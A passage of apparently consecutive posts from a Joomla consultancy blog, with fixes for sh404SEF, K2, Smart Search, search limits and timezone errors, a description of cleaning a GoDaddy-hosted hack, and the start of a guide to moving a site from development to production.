
if (!empty( $articleId)) {
	$lastBit = array_pop( $title);
	$lastBit .= ' [' . $articleId . ']';
	array_push( $title, $lastBit);
}

Removing the above lines just fixed the problem! It was that simple!

We have no idea why the people who created sh404SEF did not make adding the ID to the page title an option (most Joomla website owners wouldn’t want an ID in their page titles anyway) and refused to give the above solution for those who were experiencing the same problem.

If you (yes you!), our dear reader, are having the same problem with sh404SEF and if you’re afraid to apply the above solution by yourself, then please contact us and we’ll do it for you in just one hour and at a very reasonable rate. We promise you you’ll be fully satisfied and we promise you you’ll look forward to working with us again!

Why You Should Avoid Responsive Templates on Your Joomla Website

It seems that every single 3rd party company developing Joomla extensions has either created or is creating a responsive template and is marketing that template to its customer base as the next big thing. Even RSJoomla, a company that we really like and respect, is doing that…

We have to say that we’re amazed at how many people are duped into believing that a responsive template is the way to go. “What?”, you may probably ask… Well, let us explain…

The main reasons why most people go with a responsive template is the following:

  • It makes their website work flawlessly on smartphones, tablets, and PCs.
  • It gives their website a consistent look across all browsers/platforms without doing any additional work.
  • It is usually easy to modify.
  • It’s cheap.

But… on the flip side, responsive templates suffer from the following drawbacks:

  • Responsive templates are very heavy on the client

    The moment you switch to a responsive template you will notice how heavy it is on your browser. Even if your server processes the page very rapidly (which is usually not the case when using a responsive template), the page will not load immediately on your browser because of all the advanced JavaScript and CSS running/loading in the background. We have seen many instances of browsers hanging when trying to load a page powered by a responsive template. This is a huge negative, because, as we all know, the moment your visitor feels that your website is sucking the power out of his machine, he’s going to just leave.

  • Responsive templates are very heavy on the server

    Most companies market their responsive templates as light, simple, straightforward – but the reality couldn’t be far from the truth. These templates are not light – and that’s why all of the responsive templates have built-in caching (that often conflicts with Joomla’s own cache). Why-oh-why would a template have its own caching if it’s that simple and that light? But, even with that dedicated/independent caching, page loads are noticeably higher for responsive templates than for non-responsive ones. We’re not talking about a mere 2% hit in page load here, we’re talking about much, much more than that (which often results in an avalanche effect leading to a completely unresponsive server)! In the good old days, people were more forgiving towards slow websites – they used to wait (most likely because these people thought the slow loading time was because of their Internet connection). Nowadays people expect their pages to load immediately – or they will immediately leave. Not a good thing for business!

    But why are responsive templates that heavy on the server?

    None of the Joomla responsive templates we have examined so far are optimized; since these templates are developed by designers and not real developers, little care is given to the performance if the website has a lot of content and/or the website has a lot of traffic.

  • Responsive templates are not easy to modify

    Yes – we know – we just mentioned that one of the reasons that people go with a responsive template because it’s easily modifiable. The thing is the easily modifiable part applies when the modifications that you want are within the template’s boundaries (or settings). In other words, heavy modifications cannot be made from the sleek (and usually very slow) interface, but they need to be done in the code itself, and this is where it can get really, really messy! The code there is extremely hard to decipher read, and it’s not just in one place. It’s spread over many places.

    You want to modify a responsive template? It’s better to call on an expert programmer to do that for you. Suddenly, that responsive template that you bought for a few dollars is costing you much more in time, money, and frustration!

  • Templates should not be products that require continuous maintenance

    We believe that a template should be the most static and stable thing on a dynamic website. In other words, the least of your worry should be directed towards your website’s template (in an ideal world, the most of your worry/attention should be directed towards your content and your website’s placement in the search engines) – this is not the case with a responsive template. A responsive template requires continuous attention and maintenance – this is because it’s a product of its own – a product that can get hacked, a product that gets outdated, a product that requires the upgrade of other products. This means that you will end up maintaining both your Joomla core and your template. In short, you are just adding unnecessary overhead to your already tight daily schedule!

So, what’s the best solution to support mobile devices?

Well, the solution is with adapting your template to support mobile devices – in other words, you will need to create another template that will be automatically loaded for mobile devices. Not only this will ensure that you won’t experience the slowness and other issues mentioned above, but it’ll also ensure a much better browsing experience for those with mobile devices, because the design and the content are both specifically tailored for them.

If you need help adapting your website to mobile devices, then please contact us. We have helped many companies do this and we’re certain we can help you. Our fees are very affordable, our work is ultra-professional, we are very friendly people, and we always answer the phone!

By the way, if you’re stuck with a responsive template then we can help you as well – all you need is ask!

Moving the Article ID From the Beginning to the End of the URL in sh404SEF

While migrating a Joomla website from 1.5 to 2.5, we had an interesting issue: after we migrated the content and activated sh404SEF, we noticed that the IDs of the articles were at the beginning of the URL, instead of its end. For example, instead of this link:

http://www.ourclientjoomlawebsite.com/test-article-12345.html

We had this link:

http://www.ourclientjoomlawebsite.com/12345-test-article.html

Quick Note: 12345 is the article ID in our example above.

Clearly this is a huge issue and it needed fixing because all the URLs on the migrated website must be identical to those on the old website.

We dug through sh404SEF‘s settings, and we couldn’t find any setting to move the ID of the article from the beginning to the end of the URL. We knew then that there was only one way for doing this: Modifying sh404SEF‘s core!

After a really long time spent on exploring sh404SEF‘s code, we discovered that the code responsible for the placement of the article ID in the URL is in the file slugs.php which is located under the administrator/components/com_sh404sef/models directory. Here’s the code (lines 83-87):

if($insertId) {
	$separator = empty($separator) ? Sh404sefFactory::getConfig()->replacement : $separator;
	$slug = $id . $separator;
}
$slug .= $useAlias ? $rawArticle[$language]->alias : $rawArticle[$language]->title;

All that we needed to do was to replace the code above to:

$slug = $useAlias ? $rawArticle[$language]->alias : $rawArticle[$language]->title;
if($insertId) {
	$separator = empty($separator) ? Sh404sefFactory::getConfig()->replacement : $separator;
	$slug .= $separator.$id;
}

(Notice how we have moved the last line to the top, and how we removed the dot next to the equal sign from the last line to the line that was just above it.)

…and it worked! The article ID smoothly moved from the beginning to the end of the URL with no extra work on our end. We hope our work saved someone a lot of head scratching time!

Important note: Make sure you Purge all the URLs in sh404SEF‘s URL Manager after you make the above changes to the code. If you don’t then your changes will not apply to old articles.

OK – we now need to ask an important question: why is it that sh404SEF, the famous component that has a primary purpose of enhancing a Joomla website’s URLs for search engines, places the article ID in the beginning of the URL instead of its end?

We have no idea – especially because it’s much better, from an SEO perspective, to place the ID at the end rather than the the beginning of the URL. An odd decision indeed!

Now, if you have read this post but you don’t have the technical/programming skills to implement it – then fear not, we can help! Just contact us and we’ll do it for you in no time. Note that our very reasonable fees apply!

On Adding a Google Analytics Widget to Your Joomla Website

One of our very large customers gave us a call last Friday and told us that a stat counter that they were using on one of their websites suddenly stopped working. That stat counter was very important for them, since it was used by their potential advertisers to know how much page impressions they will get should they choose to advertise on the website. Clearly, they needed a solution and they needed it immediately!

We sent them a list of 3rd party stat counter widgets that can be easily embedded in a Custom HTML Joomla module. But they told us that they prefer a module for them that will get the data directly from their Google Analytics account. Clearly, they wanted to use something solid because they didn’t want to use another 3rd party widget that may stop working all of a sudden.

Hmmm – we thought! We haven’t done this before but if it’s doable, then we’ll certainly do it!

So we made a research, and we discovered that Google has an API to access Google Analytics‘ data. That was exactly what we wanted (a practical use of the API can be found here). So, here’s what we did:

  • We created a module that will take the username and the password for the Google Analytics account, as well as the Profile ID for the site in question. The module also had some other parameter such as:
    • The period for which the company wishes to display the data for (e.g. current month, last 31 days, current year, etc…).

    • The display format of the module.

    • Whether or not the data coming from Google Analytics should be cached (if we cache the results then this means we won’t have to fetch the data from Google every time someone visits a page). Caching was enabled by default.

  • We then ensured that the module would connect to Google and fetch the results for the specific website and for the specific time period given.

  • That was it!

Of course, we did face many challenges when creating this module, namely because it’s hard to find some coherent and up-to-date documentation on how to do this. But, on the bright side, the work was definitely worth it, this is because:

  • First and foremost, our client was happy!
  • The website no longer depends on other websites to display its traffic data – it now only depends on Google, which probably has the most stable infrastructure in the Internet world. In other words, the client no longer has to worry about using a widget from a 3rd party company that is going to disappear in a week, or whose servers constantly experience “technical difficulties”.

  • The client is no longer forced to display ads on his stat widget or to pay a monthly/yearly fee to display that widget. Additionally, the client is now confident that the module they’re using to display the traffic data is not secretly spying on their website and stealing keywords. (Quick note: All stat counter widgets secretly spy on your website and steal keywords – that’s why their basic plan is free.)

  • The data being displayed on the client’s website is consistent with the data in their Google Analytics account.

If your company wants to display data directly from Google Analytics on the frontend of its Joomla website and you would like some help in doing so, then all you have to do is to contact us. We’ve already done this before and we know we can do it for you. We’ll do it fast, professionally, and for a very reasonable fee.

sh404SEF: How to Re-Generate All the Links on a Migrated Joomla Website

We have already expressed that we are not very big fans of sh404SEF – we think that this extension does more harm than good for what it does. But, the fact of the matter is, there are thousands of Joomla websites using it, so, whether we like it or not, it’s part of Joomla’s ecosystem and we have to work with it and, of course, address its many different issues.

One of the major issues that sh404SEF has is that links are only generated when the page linking to them is visited. Let us explain what this means in plain English… Let’s say you have an article on your website that is only accessible from Page 26 from a certain Category Blog view. For that article’s link to be valid, one has to visit Page 26 on your website. If that page is not visited, then Joomla will return a 404 error for that article’s link.

Now you might be wondering why would the above be a problem. Well, if you just migrated your Joomla website and you have a fresh install of sh404SEF (with an empty database), or, if you have just Purged all the URLs in sh404SEF (by logging in to your Joomla’s website backend, and then clicking on Components -> sh404SEF -> Url Manager, and finally linking on Purge on the top right) then most of the links on your website will not work because the pages linking to them will need to be visited for these links to be re-generated. Of course, if you just have a few hundred articles then you can do this job manually (visit all the main pages yourself), but what if you have tens of thousands of articles? Will you be willing to spend literally a whole couple of days visiting Category Blog pages to re-generate all these links?

If the answer to the last question is “No”, then fear not, there is a way to address this problem. All you need to do is to temporarily change the value of Leading Articles or the value of Intro Articles (or both) in the menu item of the each Category Blog view (or the type of view that you are using to list your articles) to a very high number – say 1,000. This means that on every page of that menu item, sh404SEF will be able to generate 1000 links in one shot! Yes – it’ll take some considerable time to load that one page, and you might run out of memory (if this is the case, then you will need to increase the PHP’s memory limit by applying one of the methods described here), but it’s worth it. If your website has 30,000 articles, then theoretically, you will only need to load 30 pages to re-generate all your links. Not too bad, huh?

Now, there’ll be small issue remaining, which is the pages in each category. For example, when you were showing 20 articles/page for a 10,000 article category, you had 500 pages. Now you only have 10 pages. With the technique above, the links to the 500 pages will be all corrupt. To address this problem, you must temporarily override the pagination.php file (which is located under the libraries/joomla/html folder) in your own template to display the links to all the pages in one shot (so, instead of displaying links to only 10 pages at the bottom, you will display links to 500 pages). Needless to say, you must revert back to the number of articles per page that you originally had (e.g. you will need to change the number of Leading Articles or Intro Articles back to what it should be).

As you can see, this post (especially the last part) is a bit advanced and require some programming skills. If you think it’s a bit complicated and you need help implementing the solution above, then please contact us and we’ll certainly help. Our rates are reasonable, our work is professional, and we know Joomla inside out!

The “GoDaddy Joomla Hack” – How to Fix

GoDaddy, although one of the largest hosting companies out there, has a not-so-good reputation when it comes to security. In fact, many of the Joomla websites that we fix are hosted on GoDaddy. So why is that?

Well, we think that there are three major reasons why Joomla websites hosted on GoDaddy get hacked more often:

  1. GoDaddy is slow when it comes to upgrading its servers. In fact, GoDaddy has still many active servers running PHP 4 – a now defunct version of PHP that is no longer supported in any CMS (including the 2.5 version of Joomla). This causes many security issues because users simply can’t upgrade their Joomla websites even if they want to.
  2. In its basic hosting plan, GoDaddy has your website along with hundreds of websites (that belong to many different people) on the same server. Naturally, this’ll mean a huge performance hit on your Joomla website, especially if a website (out of those hundreds) is resource demanding. But that’s OK, because there’s even a bigger problem, your website could easily get hacked because of a backdoor created by another website on the same server – regardless on how isolated the accounts on that server are. Additionally, being on the same server and sharing the same IP with many other websites may damage the reputation of your website, because if the IP gets blacklisted because of a misbehavior by just one website, then this means that your website will get blacklisted as well… Not too good!

  3. GoDaddy has this simple, automated process (in the control panel) by which anyone, with very little Internet experience, can install Joomla by simply filling in a few fields. This is great, but the problem is that most of those who install Joomla this way think that it cannot be upgraded unless it is done through GoDaddy’s control panel. This is incorrect – it can be upgraded the usual way – but what makes things even more confusing for them is that GoDaddy has this (we’re trying to find a better word than “misleading”) One-click Joomla Upgrade button that people click on and think that they have upgraded their website to the latest Joomla version (and so now their websites are secure), while they really haven’t. In fact, the only think that happens when they click on that button is that GoDaddy just installs the latest Joomla version in a sub-directory and creates the matching database – it doesn’t migrate anything.

Now that we have explained why Joomla websites get hacked more often when they are hosted on GoDaddy, how can one fix/clean a GoDaddy hosted hacked Joomla website?

Well, we have noticed that most of the hacked Joomla websites on GoDaddy have just one infected file, which is usually one of those two files:

  • The file framework.php located under the includes folder.
  • The file application.php also located under the includes folder.

The hack usually consists of maliciously including a zip file somewhere in the above two files (just search for the word “zip” in those two files; on a clean website there shouldn’t be any match). Fixing the hack simply consists of removing the line that contains the word “zip”.

If none of the above files is hacked, then you can use our (now famous) super-duper way of quickly finding and fixing a (filesystem) hack on a Joomla website.

Now, if the above still fails and you still can’t find anything, then possibly your website suffers from a database hack. In this case, please follow the instructions described here to cleanup your website.

If all else fails then your best option would be to contact us. We will fix your website rapidly (in a matter of hours) at a very competitive rate. We’ll also throw in some recommendations to better protect your website in order to lessen the likelihood of another hack!

Blank Page When Saving a K2 Item

A new client called us this evening and told us that she’s seeing a blank page when saving a K2 item. She told us that the item was being saved correctly despite the blank page. Hmmm…

A blank page, as you might have already guessed, is a sign of a fatal error somewhere. So what we did was that we enabled error reporting by going to Site -> Global Configuration -> Server and changing the value of “Error Reporting” to “Maximum” (and, of course, clicking on “Save” on the top right). After doing that, we tried to save a K2 item and, unsurprisingly, we saw the following error:

Call to undefined function iconv in /administrator/components/com_finder/helpers/indexer/parser/html.php on line 33

Aha! Apparently, the PHP instance that was running did not have the iconv module installed and enabled, and that’s why the problem was happening.

But what to do?

Well, there are three solutions:

  • Solution #1: Install the iconv module

    Installing the iconv module is easier said than done, because it requires rebuilding PHP on the server with the iconv option – a task that can only be done by a real system administrator who actually knows what he’s doing. We recommend to contract this work to your hosting company (some hosting companies may do it for free, other hosting companies may refuse to do this) or to a company specialized in the administration of Linux servers.

  • Solution #2: Modify Joomla’s core

    This is a much easier solution than the first one, but, on the flip side, you will be modifying Joomla’s core, which means that a Joomla update may potentially overwrite your changes. But, if you’re willing to take the risk, then here’s how to do this (it’ll literally take minutes):

    • Open the file html.php located under the /administrator/components/com_finder/helpers/indexer/parser directory.
    • Add // to the beginning of line 33. So, instead of this line:

      $input = iconv("utf-8", "utf-8//IGNORE", $input);

      you would have this line:

      //$input = iconv("utf-8", "utf-8//IGNORE", $input);

      Note: You can remove line 33 altogether – but it’s better to leave it there, just in case you want to revert back.

    • Save the file and upload it back.

    • The problem is solved!

  • Solution #3: Disable Smart Search

    Although we have offered two solutions to the problem so far, we haven’t mentioned yet the root cause of the problem, which is Joomla’s Smart Search.

    But what is Smart Search?

    Smart Search is a Joomla technology used to handle search on the website more efficiently. Joomla claims that Smart Search returns better, faster results than Joomla’s standard search (which is completely inefficient – according to Joomla’s official website). But this “efficiency” comes at an expense – it creates a lot of redundancy at the database level and it can create problems on the website, such as the iconv problem which we are currently discussing. Additionally, if your website is extremely large, then it is recommended to disable Smart Search because it can do more harm than good. (it’ll slow down the website)

    So how do you disable Smart Search?

    Well, disabling Smart Search couldn’t be easier. All you need to do is to login to the backend of your Joomla website, and then go to Extensions -> Plug-in Manager, and then from the “Select Type” drop down, choose “finder”. Once you do that, you will need to disable all the plugins listed (by clicking on the green checkmark next to each plugin).

    Disabling Smart Search will fix the issue. We also think that it is the best solution, because according to Joomla’s official website, Smart Search is still not very stable. So while Smart Search may offer a better search experience to your users, it is better to avoid it if you can.

We hope that you found our post useful and that it helped you fix your problem. If it didn’t, or if you don’t have the technical skills to do the above (or if you’re just afraid to do it), then please contact us. We’ll fix the problem for you as soon as possible and we will charge you a very reasonable fee.

In closing, it’s almost July 1st here in Montreal (well, it’ll be July 1st in an hour), so Happy Canada Day to you if you’re a Canadian.

A Simple Plugin to Auto-Tweet from K2

At itoctopus, we like to give our readers a really special treat from time to time. Today (well, actually tonight – it’s 2:19 AM here in Montreal now), we have decided to release, for free, a plugin that is used to automatically post tweets whenever you publish a new K2 item. In other words, whenever you publish a new K2 item, a tweet will be automatically posted on the Twitter account for your choice. The tweet will be in the format: “New Post: Item Title [Item Link]”.

Unless you are a Joomla wizard, we recommend you read the following technical points to ensure that the plugin works on your website:

  • The plugin is made for the new Twitter API – which means that you must create a Twitter application here and ensure that the application has read and write access to your Twitter account. We won’t go into the details on how to do this here – please contact us if you need help in this step (note that we charge a fee for our services).
  • Once you create the application, you will need to add the Twitter generated Consumer Key, Consumer Secret, OAuth Token, and OAuth Secret values to their corresponding places in the newly installed plugin.

  • Unfortunately, even after doing the above, you still have some work to do. The plugin forcefully makes use of Google’s URL shortening service (there’s no way around this since some K2 links are very long and Google’s URL shortener is, in our opinion, the best) – which means that you will need to create an API key with Google to use this service. You can easily create one here. Once you do that, copy the API key supplied by Google and paste it in the field Google API Key in the plugin.

  • After doing all the above, you can activate the plugin and watch those tweets magically flow into Twitter every time you add a new item to K2. Note that if your K2 title is longer than 120 characters, then it’ll be trimmed down to 120 characters.

Now (also before downloading) we have a few things to say that are not that technical:

  • By downloading and installing the plugin, you are doing so at your own risk. While we are sure that our work is clean, we are not responsible for any damage that this plugin may cause to your website and/or your business (and/or everything else in this world, for that matter – including global warming!), whether directly or indirectly. In short, we cannot be held responsible for anything because of this plugin. If you don’t trust it, then don’t download it.
  • We have no hidden links anywhere in the plugin – we are totally against this practice.

  • The plugin belongs to us – we have created it from scratch. You have the right to modify it and use it any way you like, but you don’t have the right to remove our credits from the code. In other words, the name “itoctopus” should never be removed from the code.

  • The plugin includes some common PHP libraries. These PHP libraries are open source and are not written by us.

OK – now that you have read the above and that you have agreed to it, please go ahead and download the K2 Auto-Tweet plugin from here. (Compatibility: Joomla 2.5.x)

If you have problems installing the plugin (or if you need help installing it), then feel free to contact us. Please note, however, that our very reasonable fees will apply.

Warning: Joomla 2.5 Is Completely Unoptimized!

Every single time we migrate a large Joomla website to Joomla 2.5, we have to optimize it. Not because the client asks to do it and not because we think it’s fun (or because we like gold-plating), but because we have to – elsewise the website would be crawling. But why is that?

Well, let’s start by discussing the existence of the weirdest Joomla table, the #__assets table. The #__assets table, in case you don’t know, holds information about nearly everything on your Joomla website. For example, when you install a new component, a new entry in the #__assets table will be created. When you add a new article, a new entry will be created as well. But what does that entry contain? Well, it contains the parent ID of that entry (for example, if you’re adding an article, then the asset ID of the parent category will be recorded), the list of (ACL) groups that can access that entry, the left (lft) value which equals to the rgt + 1 of that entry’s immediate left sibling, and the right (rgt) value which equals to lft – 1 of the parent’s entry. Confused? We’d be very surprised if you’re not. But don’t worry, the complexity of this table is not the problem, it’s how it works!

Let’s say you have 30,000 articles on your Joomla website, and you want to add a new article under Category A. Category A has a lft value of 100 and a rgt value of 103 (in other words, it currently has only one article, its lft value being 101 and its rgt value being 102). Since we want to insert a new article in this category, then the category’s rgt value must expand by +2 (the new article’s lft value will be 103 and its rgt value will be 104) to 105. Now the problem is that all numbers above 103 are already taken by other entries in the table, which means that we have to shift all the entries with a lft value above 103 by 2. The technical cost of doing a 2 x SQL UPDATE statement on 30,000 rows (it’s 2x because we need to update the lft and the rgt fields of each row) is tremendous – and can bring the server down to its knees.

But why does Joomla have the “lft” and “rgt” fields?

Honestly, we don’t know why they’re there. Their presence is not necessary at all to the day-to-day activity of the website. They’re not used for the ordering because the ordering is saved in the ordering field in any table. They’re not used to determine the parent, because there’s already the parent field in the same (#__assets) table as well as potentially in other tables (for examples, the #__content table has the catid field that contains the parent category of each article). In fact, come to think of it, we’re not exactly sure why the whole #__assets table even exists! Joomla 1.5 ran flawlessly without it and we’re sure that Joomla 2.5 can also run flawlessly without it!

Now, let’s discuss the second problem, which is the terribly (un)optimized views. Say that you want to visit the Category Blog page of one of your biggest categories (the category has 20,000 articles). The first time you visit the page, you are likely to see a memory error because the amount of memory needed to generate the page is tremendous! (If this is the case you will need to increase the memory limit available to PHP) This is because Joomla loads most of the fields of all the 20,000 rows (including the introtext field, which usually contains the article itself) to generate that view, even though you are only seeing 30 articles at any one time. The reason that Joomla does this is for paging. What makes things worse, is that the query to load the fields is run twice: the first time to generate the view and the second time to generate the paging (read more about this here). This strategy to load everything is lazy and amateurish at best – because 1) it can take more than a minute just to load that view and 2) any rookie programmer knows that the best thing to do is to select only the ids from the table, and then select the full information on demand (in other words, we get all the ids of all the articles in that particular category, but we only get the full information of the 30 or so that we are showing at any one time).

Not strictly an optimization issue, Joomla’s 2.5 ACL is too horrible not to mention in such a post criticizing Joomla. That ACL is so flexible that it’ll allow you to easily make your website unusable if you do the wrong thing. We can’t think of any other CMS where doing a small mistake at the ACL level will render the website useless. The Joomla team, priding itself with optimizing the ACL by making it more flexible, have actually made it more dangerous. In fact, we don’t see the 2.5 ACL as an advancement, we see it as a step in the wrong direction that causes a lot of problems to Joomla administrators (the number of people asking us to fix their ACL is quite high).

Now, if your website is suffering ever since you have migrated to Joomla 2.5, then all you need to do is to contact us and we’ll make sure that your website becomes optimized in no time. Our rates are affordable, our work is top notch, and we have the right attitude! Oh, and we’re fun!

“Unknown or bad timezone” Error When Logging in to Joomla

Note: Please read this post, in full, before taking any action.

The representative of a large company that has contracted us to maintain its array of Joomla websites contacted us today and told us that some of the company’s users were not able to login to the backend of one specific website. Since we were not able to reproduce the problem ourselves (we were able to login), the representative gave us the contact information of an employee having the problem. We immediately called that employee and asked her to go to http://ourclientjoomlawebsite.com/administrator. She answered us that she was seeing a blank page – which is the sign of a fatal error somewhere on the website.

If you’re one of our avid readers, then most likely you know that we have discussed the blank page on login issue several times before – so solving the problem must be straightforward, right? Well, unfortunately, it was not: what was making this issue much more complicated is that we were not seeing the problem ourselves!

After a lot of debugging on our end, we called that employee and told her the following, “While on FireFox, can you please right click on the blank page, and then click on View Page Source, and then email us whatever you see there?”

And so she did…

While checking the code that she sent us, we noticed that everything was encapsulated in the following div tag:

<div style="display:none;">

A display:none on the parent tag is a sign that there is something that Joomla doesn’t want the public to see – and that was exactly the case… Scrolling down the code we noticed this fatal error: DateTimeZone::__construct(): Unknown or bad timezone (0). This error was not coming from Joomla, it was coming from PHP.

So, how did we solve the problem?

Well, all what we’ve done is that we logged in to the backend of the website, and then we went to Site -> Global Configuration -> Server and then we changed the value of the Server Time Zone (under Location Settings) to Chicago (which was the company’s location). We saved the configuration settings and that fixed the problem.

Note that the above solution only works when you close your browser and try to login again. (You will still see a blank page if you refresh, even after applying the fix above).

But what was the cause of this problem?

In some rare cases, we fix the problem before knowing the cause. That was one of those “rare cases”. However, we do suspect that it has something to do with cached cookies – but we can’t confirm. That might also explain why some employees were having the problem, but we (as well as other employees) were not. A potential fix would’ve been to just clear the browser’s cookies (and cache – just to be on the safe side) and try again – but we’re not 100% positive that it would have worked.

If you’re having the same problem on your website and you’re not able to fix it by yourself, then feel free to contact us! We work at near light speed, we charge a very reasonable fee, and we definitely know our Joomla!

“You are not authorized to access this attachment.” Error on Mosets Tree

A client emailed us this morning and told us that after his website was migrated to Joomla 2.5, he was seeing the below error whenever he tried to download an attachment in Mosets Tree:

You are not authorized to access this attachment.

So, we started debugging Mosets Tree in order to trace the source of the problem, and, after some time, we discovered that the above error was misleading: it wasn’t about user permissions, it was just that the file to download was not physically where it should be. For those who don’t know, Mosets Tree doesn’t use a top level folder to store its files, instead, it stores them under its own component folder (in fact, the files [or so-called attachments] are stored under the /components/com_mtree/attachments/ directory).

So, what did we do to fix the problem?

Well, it was quite easy! Thankfully, our client had a backup of his old website and so we copied the files from the old website to the new, migrated website. There are several ways to do that, but the best (and fastest one) is to use Linux’s shell to do that. Here’s how it can be done (assuming you have shell access to the server):

  • Login to shell through Putty
  • Issue the following command (will only work if your website is running under WHM – Plesk websites do not have the same directory structure):

    cp -R /home/[your-website-user]/oldwebsite/components/com_mtree/attachments /home/[your-website-user]/public_html/components/com_mtree/

  • That’s it!

If you have cPanel and you don’t have access to the shell, then all you need to do is to login to cPanel, go to the File Manager, and then right click on the attachments folder under the old website and then click on Copy (you will be able to specify the destination directory in the popup box).

Now, if you have the same problem but the above guide is a bit over your head, then why not contact us? We can fix the problem for you in no time (assuming your old files are still there) and we won’t charge you much. Be informed, though, that this error doesn’t always mean that the file is not there. In this case, our work might take a bit more time! Rest assured though – you are always in good hands and we’ll always find a solution (as long as your data is still there)!

Articles Appearing Under the Wrong Category in Joomla – How to Solve

The main administrator of a very large Joomla website called us today and told us that they have the following problem: a few articles, while being listed under the right directory, have the wrong category selected (in the menu) when they are viewed individually.

For example, Article A belongs to Category C, and when you click on the menu item pointing to Category C, you will see Article A listed – however, when you click on Article A, you notice that Category D is selected on the right menu (instead of Category C). What was even weirder is that the article’s link had category-c in it (which is correct).

Now we have been working with Joomla for many years – and this is the first time that we see such a problem. So we started investigating, and our investigation lead us to our usual suspect – sh404SEF.

Here’s what happened:

  • An author working on the website created Article A under Category D.
  • The author published the article and sh404SEF indexed and cached the article’s link and it associated it with Category D (which is fully correct).

  • The author then changed the article’s category from Category D to Category C.

  • sh404SEF did not update its cache (note: sh404SEF‘s cache does not expire and must be deleted manually) – so the link was still pointing to Category D instead of Category C.

So, what did we do to fix the problem?

Well, it was quite easy, all that we did was the following:

  • We logged in to the backend of the Joomla website.
  • We clicked on Components -> sh404SEF -> URL manager on the top menu.

  • We searched for the alias of that article in the URL (for example, if the article’s link is http://www.yourjoomlawebsite.com/category-c/article-a, then you should search for article-a).

  • We deleted (with duplicates) the entries that were returned from our search above.

  • That fixed the problem!

Unfortunately, as we mentioned before, sh404SEF can cause a lot of unnecessary work because of its quirks and instability – we always suggest that you don’t use it and use Joomla’s SEF instead. Yes – the links are not great with Joomla’s core SEF – but the website will be much more stable and you will have less problems.

If you have articles appearing under the wrong category, and if you have sh404SEF installed, then the above will solve your problem. But if it doesn’t, or if you don’t even have sh404SEF installed, then please contact us. Our fees are affordable, our work is fast and professional, and we really, really care about our clients’ websites! (as well as their businesses – for that matter!)

A couple of notes:

  • sh404SEF is a very sensitive extension – and doing the wrong thing there can cause serious problems to the website.
  • You will neeed to be a super administrator to do the above.

Increasing the Search Limit in Joomla to More than 20 Characters

If you have tried to search for a very long sentence in Joomla, then most likely the only result that you got was the following:

Search term must be a minimum of 3 characters and a maximum of 20 characters.

If you really want people to search for long sentences on your website, then obviously you want to change that upper limit. But how to do that?

Well, before we tell you how, we have to say that the first time we tried to increase the maximum search limit it took us ages to find out how – it was like a wild goose chase: a file leading you to another file which leads to another file! But, we finally discovered it: it was actually a language setting! We have no idea why Joomla doesn’t have this setting in a place that is obvious – such as in the settings of the menu item pointing to the search component.

To make things even more complicated, that setting cannot be changed in Joomla’s backend, but rather in the language file (in other words, you’ll need to do some coding). So, if you want to change the maximum search limit (and assuming that you have only one language on your website, which is English), then here’s how you do this:

  • You open the file en-GB.localise.php located under the /language/en-GB/ folder.
  • In the function getUpperLimitSearchWord, you change the return value from 20 to 40 (for example). In other words, you change the following code:

    return 20;

    to

    return 40;

  • You save the file and you upload it!

  • That’s it!

Now, one thing to mention, if you have other languages then you need to do the same steps above for each one of them (for example, if your website has a French version, then you will need to do the above modifications to the file fr-FR.localise.php located under the /language/fr-FR/ directory). If you don’t have the time to do this tedious job, then you can instead do the following change to a Joomla core file to make sure that all languages have the same search limit of your choice:

  • Open the file language.php which is located under the libraries/joomla/language directory.
  • Just before this line (line 582):

    if ($this-&upperLimitSearchWordCallback !== null)

    add the following code:

    return 40; //where 40 is your new search limit

  • Save the file and upload it back.

  • That’s it!

Note that Joomla’s search module, by default, has its maxlength set to 20 – that’s why you’re not able to enter more than 20 characters in the search field of that module. However, the good news is that the maxlength value comes from the function getUpperLimitSearchWord, which means that doing the above will automatically ensure that maxlength is changed to your value of choice (for example, if you changed the value to 40 then the maxlength value will be automatically 40).

Now, if the above hasn’t worked for you or if you don’t have the programming experience to do it – then why not contact us? We’ll fix the issue for you in the speed of light (well, a bit slower, but you get the point), we won’t charge you much, and we are the friendliest programmers on planet Earth – maybe even the whole solar system!

Note: If you want to increase/decrease the lower search limit, then just replace the word upper with lower in the above guide and you’ll be all set. For example, instead of changing the return value of the function getUpperLimitSearchWord, you will need to change the return value of the function getLowerLimitSearchWord.

You Cannot Migrate a Joomla Website With the Click of a Button!

A client of us called us today and told us that her website was hacked – again! She reminded us politely that we have cleaned her old Joomla website nearly a week ago but her website got hacked again, even though she did migrate to Joomla 2.5 as we recommended her to do.

That’s odd! We thought… So we asked her who did the migration for her. She told us that she did it herself – she just clicked on a button in GoDaddy’s control panel that will “upgrade her Joomla website to 2.5”.

Knowing Joomla and GoDaddy, we were confident that such a thing was impossible. Joomla is just too complicated to migrate with a single button and GoDaddy is not a company that goes to the level of creating an extremely advanced migration script for one of the many products that it offers to its clients. Could it be another fake Joomla migration?

So we told her that we needed to access her account on GoDaddy – and what we found out was that her website wasn’t even upgraded. What that button did was that it just created a sub-folder called Joomla 2.5.11 (which is the current Joomla version) under the root directory of the website.

We communicated our findings to our client who was shocked! We were shocked as well! Come on – what’s the point of this button if all it does is create a sub-folder containing the latest version of Joomla. In our opinion, that’s a bit misleading especially since many clients don’t even know what Joomla 2.5 looks like – and so they think that they have seamlessly did the migration by clicking that button.

We have to say that we were a bit disappointed with GoDaddy – and we’ll make sure to pass this message to them.

If you think you can migrate your Joomla website with the click of a button – think again! In best case scenarios, a Joomla website migration from 1.5 to 2.5 will take at least 2 days (and that’s for a really simple website). If you need help migrating your Joomla website, then contact us. Our prices are quite affordable, our service is superb, our work is professional, we always answer the phone, and we are really, really friendly!

How to Quickly Move a Joomla Website from Development to Production

Note: This post assumes your server is powered by WHM/cPanel and that you have ssh access. If you’re using Plesk then you can still do the below with minor modifications. As usual, you can contact us for help.

Warning: While we try our best to make our guides as easy as possible, we have to warn you: any mistake here can potentially wipe out your whole website (both production and development). Make sure you proceed very carefully and make sure you give this job to a system administrator if you’re not sure what you’re doing.

If we had a dime for every time we moved a Joomla website from development to production, we’d be ultra rich. We do this nearly every day – and sometimes several times a day. We have reached a point where we know the process by heart. In case you want to do it yourself, here’s how it’s done.

  1. Connect to your server through ssh

    You can use a tool like Putty to connect to your server’s shell. You don’t have to connect as root but usually this makes the job easier.

  2. Change to your website’s main directory

    Issue the following command:

    cd /home/[your-user]/ (if you’re logged in as root)

    or

    cd / (if you’re logged in as the website’s user)

  3. Create a temporary folder where both the production and the development websites will be moved into

    Issue the following commands:

    mkdir old
    mkdir new

    The first directory will hold the current production website, and the second directory will hold the current development website.

  4. Move the development website to the “new” directory

